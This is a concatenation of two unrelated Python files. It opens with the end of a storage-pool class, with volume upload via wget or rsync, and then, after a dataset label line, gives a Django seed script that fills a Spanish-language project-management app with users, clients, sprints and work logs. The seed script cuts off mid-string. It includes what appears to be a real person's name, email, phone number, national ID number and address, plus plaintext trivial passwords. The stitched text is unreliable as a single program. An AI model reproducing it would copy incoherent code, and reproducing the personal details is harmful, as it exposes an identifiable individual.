Forced detach 'master' domain after stopping SPM self.detachSD(self.masterDomain.sdUUID, sd.BLANK_UUID, 0, __securityOverride=True) def setVolumeDescription(self, sdUUID, imgUUID, volUUID, description): imageResourcesNamespace = sd.getNamespace(sdUUID, IMAGE_NAMESPACE) with rmanager.acquireResource(imageResourcesNamespace, imgUUID, rm.LockType.exclusive): sdCache.produce(sdUUID).produceVolume(imgUUID=imgUUID, volUUID=volUUID).setDescription(descr=description) def setVolumeLegality(self, sdUUID, imgUUID, volUUID, legality): imageResourcesNamespace = sd.getNamespace(sdUUID, IMAGE_NAMESPACE) with rmanager.acquireResource(imageResourcesNamespace, imgUUID, rm.LockType.exclusive): sdCache.produce(sdUUID).produceVolume(imgUUID=imgUUID, volUUID=volUUID).setLegality(legality=legality) def checkDomain(self, sdUUID): return sdCache.produce(sdUUID).checkDomain(spUUID=self.spUUID) def getVmsList(self, sdUUID=None): if sdUUID == None: dom = self.masterDomain else: dom = sdCache.produce(sdUUID) return dom.getVMsList() def getVmsInfo(self, sdUUID, vmList=None): return sdCache.produce(sdUUID).getVMsInfo(vmList=vmList) def uploadVolume(self, sdUUID, imgUUID, volUUID, srcPath, size, method="rsync"): vol = sdCache.produce(sdUUID).produceVolume(imgUUID, volUUID) if not vol.isLeaf(): raise se.NonLeafVolumeNotWritable(vol) targetPath = vol.getVolumePath() if vol.isSparse(): vol.extend(int(size)) vol.prepare(rw=True, setrw=False) try: if method.lower() == "wget": cmd = [constants.EXT_WGET, "-O", targetPath, srcPath] (rc, out, err) = misc.execCmd(cmd, sudo=False) if rc: self.log.error("uploadVolume - error while trying to retrieve: %s into: %s, stderr: %s" % (srcPath, targetPath, err)) raise se.VolumeCopyError(vol, err) #CR : should be elif 'rsync' and and else "error not supported" in the end else: cmd = [constants.EXT_RSYNC, "-aq", srcPath, targetPath] (rc, out, err) = misc.execCmd(cmd, sudo=False) if rc: self.log.error("uploadVolume - error while trying to copy: %s into: %s, stderr: %s" % (srcPath, targetPath, err)) raise se.VolumeCopyError(vol, err) finally: try: vol.teardown(sdUUID, volUUID) except: self.log.warning("SP %s SD %s img %s Vol %s - teardown failed") def preDeleteRename(self, sdUUID, imgUUID): repoPath = os.path.join(self.storage_repository, self.spUUID) return image.Image(repoPath).preDeleteRename(sdUUID, imgUUID) def validateDelete(self, sdUUID, imgUUID): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).validateDelete(sdUUID, imgUUID) def validateImage(self, srcDomUUID, dstDomUUID, imgUUID, op=image.MOVE_OP): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).validate(srcDomUUID, dstDomUUID, imgUUID, op) def validateVolumeChain(self, sdUUID, imgUUID): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).validateVolumeChain(sdUUID, imgUUID) def checkImage(self, sdUUID, imgUUID): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).check(sdUUID, imgUUID) def extendSD(sdUUID, devlist): sdCache.produce(sdUUID).extend(devlist)
codeparrot/github-code-clean
from django.forms import models, DateTimeField __author__ = 'chelox' #from django.db import models from django.contrib.auth.models import User, Group, Permission from usuarios.models import Usuario from proyectos.models import Proyecto from sprint.models import Estado from clientes.models import Cliente from sprint.models import Sprint from django.utils.datetime_safe import date from flujos.models import Flujos from miembros.models import Miembro #from django.contrib.auth.models import User from django.utils.datetime_safe import date from us.models import us, registroTrabajoUs from flujos.models import Actividad from roles.models import Rol Usuario.objects.all().delete() #Tipo_Item.objects.all().delete() #Fase.objects.all().delete() Proyecto.objects.all().delete() #username='alforro' #first_name= 'alvaro' #last_name='test' #cedula='4617510' #email='alfa.alvaro.rodriguez@gmail.com' #password='alforro' #is_superuser=False #Usuario.objects.create(username=username ,first_name= first_name, last_name=last_name, cedula=cedula, email=email, password= password, is_superuser=is_superuser) #created_datetime = models.DateTimeField(2015,6,8,22,30,39,0) pendiente = Estado(estado='Pendiente') pendiente.save() en_ejecucion = Estado(estado= 'En ejecucion') en_ejecucion.save() finalizado = Estado(estado='Finalizado') finalizado.save() ##Permisos ##################################################################### permiso=Permission.objects.get(name='Can add us') permiso2=Permission.objects.get(name='Can add sprint') permiso3=Permission.objects.get(name='Can change actividad') permiso4=Permission.objects.get(name='Can add actividad') permiso.save() permiso2.save() permiso3.save() permiso4.save() #USUARIOS ############################################################################################## usuario1 = Usuario.objects.create_user(username='alvaro_user', first_name='Alvaro', last_name='Rodriguez',telefono='0961940704', cedula='4617510',direccion='Calle Rio Negro esq. Rio Jejui 315', email='alfa.alvaro.rodriguez@gmail.com', password='alvaro_user') usuario1.save() usuario2 = Usuario.objects.create_user(username='homero', first_name='Homero', last_name='Simpson',telefono='0961940704', direccion='Calle Rio Negro esq. Rio Jejui 315', cedula='123467',email='amantedelacomida53@aol.com', password='homero') usuario2.save() usuario3 = Usuario.objects.create_user(username='walter', first_name='Walter', last_name='White',telefono='0961940704', cedula='8910111', email='walter@gmail.com',direccion='San Lorenzo', password='walter') usuario3.save() usuario4 = Usuario.objects.create_user(username='john', first_name='John', last_name='Snow',telefono='0961940704', direccion='Fernando', cedula='2131415', email='john@gmail.com', password='john') #usuario4.save() #password='bruce' usuario5 = Usuario.objects.create_user(username='bruce', first_name='Bruce', last_name='Banner',telefono='0961940704', direccion='Capiata', cedula='1617181', email='banner@gmail.com', password='1234') #usuario5.set_password(password) usuario5.save() # CLIENTES ################################################################################ cliente1=Cliente.objects.create_user(username= 'Marcelo', first_name='Marcelo', last_name= 'Vera', cedula=4593718, direccion='Capiata',email='cheloxtreme@gmail.com', password='1234') cliente2=Cliente.objects.create_user(username= 'Gabriel', first_name='Gabriel', last_name= 'Duarte', cedula=4778963, email='chelo.vera@gmail.com', direccion='San Lorenzo', password='1234') cliente3=Cliente.objects.create_user(username= 'Hugo', first_name='Hugo', last_name= 'Bolanhos', cedula=4794123, email='hugo@gmail.com', direccion='San Lorenzo', password='1234') cliente1.save() cliente2.save() cliente3.save() ## Proyecto Numero 1 "ALPHA" ESTADO PENDIENTE ############################################################################## proyecto1 = Proyecto(nombre='alpha project', descripcion='este proyecto corresponde a Alvaro Rodriguez', fecha_inicio= '2015-7-10', fecha_fin='2015-8-10', fecha_creacion=date.today(), lider_proyecto=usuario1, cliente=cliente1, estado='PEN') proyecto1.save() #flujo11 = Flujos(nombre= 'primer flujo del proyecto alpha', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto1) #flujo11.save() #acti1=Actividad(nombre='Analisis.',orden=1,flujo=flujo11) #acti1.save() #acti2=Actividad(nombre='Disenho.',orden=2,flujo=flujo11) #acti2.save() #acti3=Actividad(nombre='Desarrollo.',orden=3,flujo=flujo11) #acti3.save() #sprint1 = Sprint(nombre='primer sprint del proyecto alpha', proyecto=proyecto1, descripcion='primer sprint correspondiente al proyecto 1', # duracion_dias= 7, observaciones='Ninguna', estado=pendiente) #sprint1.save() #sprint11 = Sprint(nombre='segundo sprint del proyecto alpha', proyecto=proyecto1, descripcion='segundo sprint correspondiente al proyecto 1', # duracion_dias= 7, observaciones='Ninguna', estado=pendiente) #sprint11.save() #desarrollador = Rol(name='desarrollador', proyecto=proyecto1,) #desarrollador.save() #desarrollador.permissions.add(permiso) #desarrollador.permissions.add(permiso2) #desarrollador.permissions.add(permiso3) #desarrollador.permissions.add(permiso4) #desarrollador.save() #miembro1 = Miembro(rol=desarrollador,proyecto=proyecto1,usuario=usuario2,horas_por_dia=6) #miembro1.save() #miembro2 = Miembro(rol=desarrollador,proyecto=proyecto1,usuario=usuario3,horas_por_dia=5) #miembro2.save() #miembro3 = Miembro(rol=desarrollador, proyecto=proyecto1,usuario=usuario4,horas_por_dia=4) #miembro3.save() #us1p1 = us(nombre='US1 para el proyecto 1',valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=10,sprint=sprint1,flujo=flujo11, responsable=miembro1, proyecto=proyecto1, # estado='TODO', actividad=acti1,estado_de_aprobacion='OK') #us1p1.save() #us2p1 = us(nombre='US2 para el proyecto 1',valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=18, sprint=sprint1,flujo=flujo11, responsable=miembro2, # proyecto=proyecto1, estado='TODO', actividad=acworti1,estado_de_aprobacion='OK') #us2p1.save() # #us3p1 = us(nombre='US3 para el proyecto 1', proyecto=proyecto1,valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=30,estado='TODO',sprint=sprint1,flujo=flujo11, responsable=miembro3, # estado_de_aprobacion='OK',actividad=acti1) #us3p1.save() #us4p1 = us(nombre='US4 para el proyecto 1',valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=25,sprint=sprint11,flujo=flujo11, responsable=miembro1, proyecto=proyecto1, # estado='TODO', actividad=acti1,estado_de_aprobacion='OK') #us4p1.save() # #us5p1 = us(nombre='US5 para el proyecto 1',valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=15, sprint=sprint11,flujo=flujo11, responsable=miembro2, # proyecto=proyecto1, estado='TODO', actividad=acti1,estado_de_aprobacion='OK') #us5p1.save() #us6p1 = us(nombre='US6 para el proyecto 1', proyecto=proyecto1,valor_de_negocio= 5, prioridad= 5, valor_tecnico= 5, descripcion='vacio', # duracion_horas=10, duracion_horas_en_sprint=20,estado='TODO',sprint=sprint11,flujo=flujo11, responsable=miembro3, # estado_de_aprobacion='OK',actividad=acti1) #us6p1.save() ## Proyecto Numero 2 "Betha" ESTADO INICIADO ############################################################################## ## Este proyecto tiene dos sprint, dos flujos. proyecto2 = Proyecto(nombre='beta project', descripcion='este proyecto corresponde a Homero Simpson', cliente=cliente2, fecha_inicio= '2015-5-20', fecha_fin='2015-6-20', fecha_creacion=date.today(), lider_proyecto=usuario2,estado='INI' ) proyecto2.save() sprint2 = Sprint(nombre='segundo sprint del proyecto betha', proyecto=proyecto2, descripcion='2do sprint correspondiente al proyecto 2', duracion_dias= 20, observaciones='Ninguna', estado=en_ejecucion) sprint2.save() sprint3 = Sprint(nombre='tercer sprint del proyecto betha', proyecto=proyecto2, descripcion='sprint 3 correspondiente al proyecto 2', duracion_dias= 15, observaciones='Ninguna', estado=pendiente) sprint3.save() sprint35 = Sprint(nombre='cuarto sprint del proyecto betha', proyecto=proyecto2, descripcion='sprint 4 correspondiente al proyecto 2', duracion_dias= 10, observaciones='Ninguna', estado=pendiente) sprint35.save() flujo1 = Flujos(nombre= 'primer flujo del proyecto2', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto2) flujo1.save() flujo2 = Flujos(nombre= 'segundo flujo del proyecto2', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto2) flujo2.save() flujo35 = Flujos(nombre= 'tercer flujo del proyecto2', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto2) flujo35.save() developer = Rol(name='developer', proyecto=proyecto2,) developer.save() developer.permissions.add(permiso) developer.permissions.add(permiso2) developer.permissions.add(permiso3) developer.permissions.add(permiso4) developer.save() miembro4 =Miembro(rol=developer, proyecto=proyecto2,usuario=usuario5,horas_por_dia=4) miembro4.save() miembro22 = Miembro(rol=developer,proyecto=proyecto2,usuario=usuario3,horas_por_dia=5) miembro22.save() miembro33 = Miembro(rol=developer, proyecto=proyecto2,usuario=usuario4,horas_por_dia=4) miembro33.save() actividad11=Actividad(nombre='Analisiss',orden=1,flujo=flujo1) actividad11.save() actividad22=Actividad(nombre='Diseno',orden=2,flujo=flujo1) actividad22.save() actividad333=Actividad(nombre='Desarrolo',orden=3,flujo=flujo2) actividad333.save() actividad35=Actividad(nombre='Post-Des',orden=3,flujo=flujo35) actividad35.save() us1p2 = us(nombre='US1 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 6, prioridad= 50, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=50,actividad=actividad22,sprint=sprint2,flujo=flujo1,responsable=miembro4, estado_de_aprobacion='OK',estado='DOING') us1p2.save() us2p2 = us(nombre='US2 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 55, valor_tecnico= 6, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=50,actividad=actividad11,sprint=sprint2,flujo=flujo1, responsable=miembro33, estado_de_aprobacion='OK',estado='DOING') us2p2.save() us3p2 = us(nombre='US3 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 7, prioridad= 75, valor_tecnico= 2, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=40, actividad=actividad22,sprint=sprint2,flujo=flujo1, responsable=miembro22, estado_de_aprobacion='OK',estado='DONE') us3p2.save() us4p2 = us(nombre='US4 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 2, prioridad= 85, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad333,sprint=sprint2,flujo=flujo2,responsable=miembro4, estado_de_aprobacion='OK',estado='DOING') us4p2.save() us5p2 = us(nombre='US5 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 6, prioridad= 95, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad22,sprint=sprint2,flujo=flujo2,responsable=miembro22, estado_de_aprobacion='OK',estado='TODO') us5p2.save() us6p2 = us(nombre='US6 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 15, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad333,sprint=sprint2,flujo=flujo2,responsable=miembro33, estado_de_aprobacion='OK',estado='DOING') us6p2.save() us7p2 = us(nombre='US7 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 40, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad333,sprint=sprint2,flujo=flujo2,responsable=miembro33, estado_de_aprobacion='OK',estado='TODO') us7p2.save() us8p2 = us(nombre='US8 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 60, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=None,actividad=None,sprint=None,flujo=None,responsable=None, estado_de_aprobacion='PEN',estado='TODO') us8p2.save() us9p2 = us(nombre='US9 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 80, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=None,actividad=None,sprint=None,flujo=None, responsable=None, estado_de_aprobacion='OK',estado='TODO') us9p2.save() us10p2 = us(nombre='US10 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 99, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=None, actividad=None,sprint=None,flujo=None, responsable=None, estado_de_aprobacion='PEN',estado='TODO') us10p2.save() us11p2 = us(nombre='US11 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 96, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad35,sprint=sprint35,flujo=flujo35,responsable=miembro4, estado_de_aprobacion='OK',estado='TODO') us11p2.save() us12p2 = us(nombre='US12 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 80, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad35,sprint=sprint35,flujo=flujo35,responsable=miembro22, estado_de_aprobacion='OK',estado='TODO') us12p2.save() us13p2 = us(nombre='US13 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 70, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad35,sprint=sprint35,flujo=flujo35,responsable=miembro33, estado_de_aprobacion='OK',estado='TODO') us13p2.save() us14p2 = us(nombre='US14 para el proyecto 2', proyecto=proyecto2,valor_de_negocio= 5, prioridad= 30, valor_tecnico= 5, descripcion='vacio', duracion_horas=10, duracion_horas_en_sprint=10, actividad=actividad35,sprint=sprint35,flujo=flujo35,responsable=miembro33, estado_de_aprobacion='OK',estado='TODO') us14p2.save() reg1= registroTrabajoUs(us=us1p2, descripcion='primer registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us1p2, descripcion='segundo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us1p2, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us1p2, descripcion='cuarto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us1p2, descripcion='quinto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us1p2, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us1p2, descripcion='septimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us1p2, descripcion='octavo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us1p2, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us1p2, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us1p2, descripcion='decimo 1er registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us1p2, descripcion='decimo 2do registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-27 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us1p2, descripcion='decimo 3er registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-28 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us1p2, descripcion='decimo cuarto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-29 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us1p2, descripcion='decimo quinto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-30 16:30',archivo_adjunto=None) reg15.save() reg16= registroTrabajoUs(us=us1p2, descripcion='decimo sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-31 16:30',archivo_adjunto=None) reg16.save() reg17= registroTrabajoUs(us=us1p2, descripcion='decimo septimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-6-1 16:30',archivo_adjunto=None) reg17.save() reg18= registroTrabajoUs(us=us1p2, descripcion='decimo octavo registro', horas_dedicadas=6, fecha_hora_creacion='2015-6-2 16:30',archivo_adjunto=None) reg18.save() reg19= registroTrabajoUs(us=us1p2, descripcion='decimo noveno registro', horas_dedicadas=6, fecha_hora_creacion='2015-6-3 16:30',archivo_adjunto=None) reg19.save() reg20= registroTrabajoUs(us=us1p2, descripcion='vigesimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-6-4 16:30',archivo_adjunto=None) reg20.save() reg1= registroTrabajoUs(us=us2p2, descripcion='primer registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us2p2, descripcion='segundo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us2p2, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us2p2, descripcion='cuarto registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us2p2, descripcion='quinto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us2p2, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us2p2, descripcion='septimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us2p2, descripcion='octavo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us2p2, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us2p2, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us2p2, descripcion='decimo 1er registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us2p2, descripcion='decimo 2do registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-27 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us2p2, descripcion='decimo 3er registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-28 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us2p2, descripcion='decimo cuarto registro', horas_dedicadas=1, fecha_hora_creacion='2015-5-29 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us2p2, descripcion='decimo quinto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-30 16:30',archivo_adjunto=None) reg15.save() reg16= registroTrabajoUs(us=us2p2, descripcion='decimo sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-31 16:30',archivo_adjunto=None) reg16.save() reg17= registroTrabajoUs(us=us2p2, descripcion='decimo septimo registro', horas_dedicadas=5, fecha_hora_creacion='2015-6-1 16:30',archivo_adjunto=None) reg17.save() reg18= registroTrabajoUs(us=us2p2, descripcion='decimo octavo registro', horas_dedicadas=3, fecha_hora_creacion='2015-6-2 16:30',archivo_adjunto=None) reg18.save() reg19= registroTrabajoUs(us=us2p2, descripcion='decimo noveno registro', horas_dedicadas=7, fecha_hora_creacion='2015-6-3 16:30',archivo_adjunto=None) reg19.save() reg20= registroTrabajoUs(us=us2p2, descripcion='vigesimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-6-4 16:30',archivo_adjunto=None) reg20.save() reg1= registroTrabajoUs(us=us3p2, descripcion='primer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-20 16:30',archivo_adjunto=None) reg1.save() reg2= registroTrabajoUs(us=us3p2, descripcion='segundo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg2.save() reg3= registroTrabajoUs(us=us3p2, descripcion='tercer registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg3.save() reg4= registroTrabajoUs(us=us3p2, descripcion='cuarto registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg4.save() reg5= registroTrabajoUs(us=us3p2, descripcion='quinto registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg5.save() reg6= registroTrabajoUs(us=us3p2, descripcion='sexto registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-21 16:30',archivo_adjunto=None) reg6.save() reg7= registroTrabajoUs(us=us3p2, descripcion='septimo registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-22 16:30',archivo_adjunto=None) reg7.save() reg8= registroTrabajoUs(us=us3p2, descripcion='octavo registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-23 16:30',archivo_adjunto=None) reg8.save() reg9= registroTrabajoUs(us=us3p2, descripcion='noveno registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-24 16:30',archivo_adjunto=None) reg9.save() reg10= registroTrabajoUs(us=us3p2, descripcion='decimo registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-25 16:30',archivo_adjunto=None) reg10.save() reg11= registroTrabajoUs(us=us3p2, descripcion='decimo 1er registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-26 16:30',archivo_adjunto=None) reg11.save() reg12= registroTrabajoUs(us=us3p2, descripcion='decimo 2do registro', horas_dedicadas=3, fecha_hora_creacion='2015-5-27 16:30',archivo_adjunto=None) reg12.save() reg13= registroTrabajoUs(us=us3p2, descripcion='decimo 3er registro', horas_dedicadas=8, fecha_hora_creacion='2015-5-28 16:30',archivo_adjunto=None) reg13.save() reg14= registroTrabajoUs(us=us3p2, descripcion='decimo cuarto registro', horas_dedicadas=5, fecha_hora_creacion='2015-5-29 16:30',archivo_adjunto=None) reg14.save() reg15= registroTrabajoUs(us=us3p2, descripcion='decimo quinto registro', horas_dedicadas=6, fecha_hora_creacion='2015-5-30 16:30',archivo_adjunto=None) reg15.save() reg16= registroTrabajoUs(us=us3p2, descripcion='decimo sexto registro', horas_dedicadas=4, fecha_hora_creacion='2015-5-31 16:30',archivo_adjunto=None) reg16.save() reg17= registroTrabajoUs(us=us3p2, descripcion='decimo septimo registro', horas_dedicadas=2, fecha_hora_creacion='2015-6-1 16:30',archivo_adjunto=None) reg17.save() reg18= registroTrabajoUs(us=us3p2, descripcion='decimo octavo registro', horas_dedicadas=5, fecha_hora_creacion='2015-6-2 16:30',archivo_adjunto=None) reg18.save() reg19= registroTrabajoUs(us=us3p2, descripcion='decimo noveno registro', horas_dedicadas=8, fecha_hora_creacion='2015-6-3 16:30',archivo_adjunto=None) reg19.save() reg20= registroTrabajoUs(us=us3p2, descripcion='vigesimo registro', horas_dedicadas=2, fecha_hora_creacion='2015-6-4 16:30',archivo_adjunto=None) reg20.save() ## Proyecto Numero 3 'Gamma' ESTADO FINALIZADO ############################################################################## proyecto3 = Proyecto(nombre='gamma project', descripcion='este proyecto corresponde a Walter White', fecha_inicio= '2015-5-10',cliente=cliente3, fecha_fin='2015-6-15', fecha_creacion=date.today(),lider_proyecto=usuario3,estado='FIN') #proyecto4 = Proyecto(nombre='delta project', descripcion='este proyecto corresponde a John Snow', # fecha_inicio= date.today(), fecha_fin=date.today(), fecha_creacion=date.today(), # lider_proyecto=usuario4, cliente=cliente3,estado='INI') #proyecto5 = Proyecto(nombre='epsilon project', descripcion='este proyecto corresponde a Bruce Banner', # fecha_inicio= date.today(), fecha_fin=date.today(), fecha_creacion=date.today(), # lider_proyecto=usuario5, cliente=cliente2,estado='FIN') proyecto3.save() #proyecto4.save() #proyecto5.save() #sprint4 = Sprint(nombre='segundo Sprint del proyecto betha', proyecto=proyecto2, descripcion='2do sprint correspondiente al proyecto 2', # duracion_dias= 15, observaciones='Ninguna', estado=finalizado) #sprint4.save() sprint5 = Sprint(nombre='primer sprint del proyecto gamma', proyecto=proyecto3, descripcion='1er sprint correspondiente al proyecto 3', duracion_dias= 15, observaciones='Ninguna', estado=finalizado) sprint5.save() sprint6 = Sprint(nombre='segundo sprint del proyecto gamma', proyecto=proyecto3, descripcion='2do sprint correspondiente al proyecto 3', duracion_dias= 15, observaciones='Ninguna', estado=finalizado) sprint6.save() sprint7 = Sprint(nombre='tercer sprint del proyecto gamma', proyecto=proyecto3, descripcion='3er sprint correspondiente al proyecto 3', duracion_dias= 4, observaciones='Ninguna', estado=finalizado) sprint7.save() #sprint7 = Sprint(nombre='3 Sprint Pro 4', proyecto=proyecto3, descripcion='3er sprint correspondiente al proyecto 3', # duracion_dias= 15, observaciones='Ninguna', estado=finalizado) #sprint7.save() #sprint8 = Sprint(nombre='2SprintPro4', proyecto=proyecto3, descripcion='4to sprint correspondiente al proyecto 3', # duracion_dias= 15, observaciones='Ninguna', estado=pendiente) #sprint8.save() flujo3 = Flujos(nombre= '1er flujo del proyecto gamma', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto3) flujo3.save() flujo4 = Flujos(nombre= '2do flujo del proyecto gamma', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto3) flujo4.save() flujo5 = Flujos(nombre= '3er flujo del proyecto gamma', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto3) flujo5.save() #flujo5 = Flujos(nombre= '3er flujo del proyecto2', descripcion='ninguna', fecha_hora_creacion=date.today(), proyecto=proyecto2) #flujo5.save() #desarrollador = Group(name='desarrollador') #desarrollador.save() #desarrollador.permissions.add(permiso) #desarrollador.save() develop = Rol(name='develop', proyecto=proyecto3,) develop.save() develop.permissions.add(permiso) develop.permissions.add(permiso2) develop.permissions.add(permiso3) develop.permissions.add(permiso4) develop.save() #rolMiembro2 = Rol(proyecto=proyecto2, Group=desarrollador) #rolMiembro3 = Rol(proyecto=proyecto3, Group=desarrollador) #rolMiembro.permissions=[can_add_rol,can_change_rol] #rolMiembro1.permissions=[Can add us,Can add miembro,Can add rol,Can change rol,Can add sprint, Can add flujo,Can change flujo, Can add actividad, # Can change actividad, Can add registro trabajo us,] #rolMiembro1.permissions=[] #rolMiembro2.permissions=['Can add us','Can add miembro','Can add rol','Can change rol','Can add sprint', 'Can add flujo','Can change flujo', 'Can add actividad', # 'Can change actividad', 'Can add registro trabajo 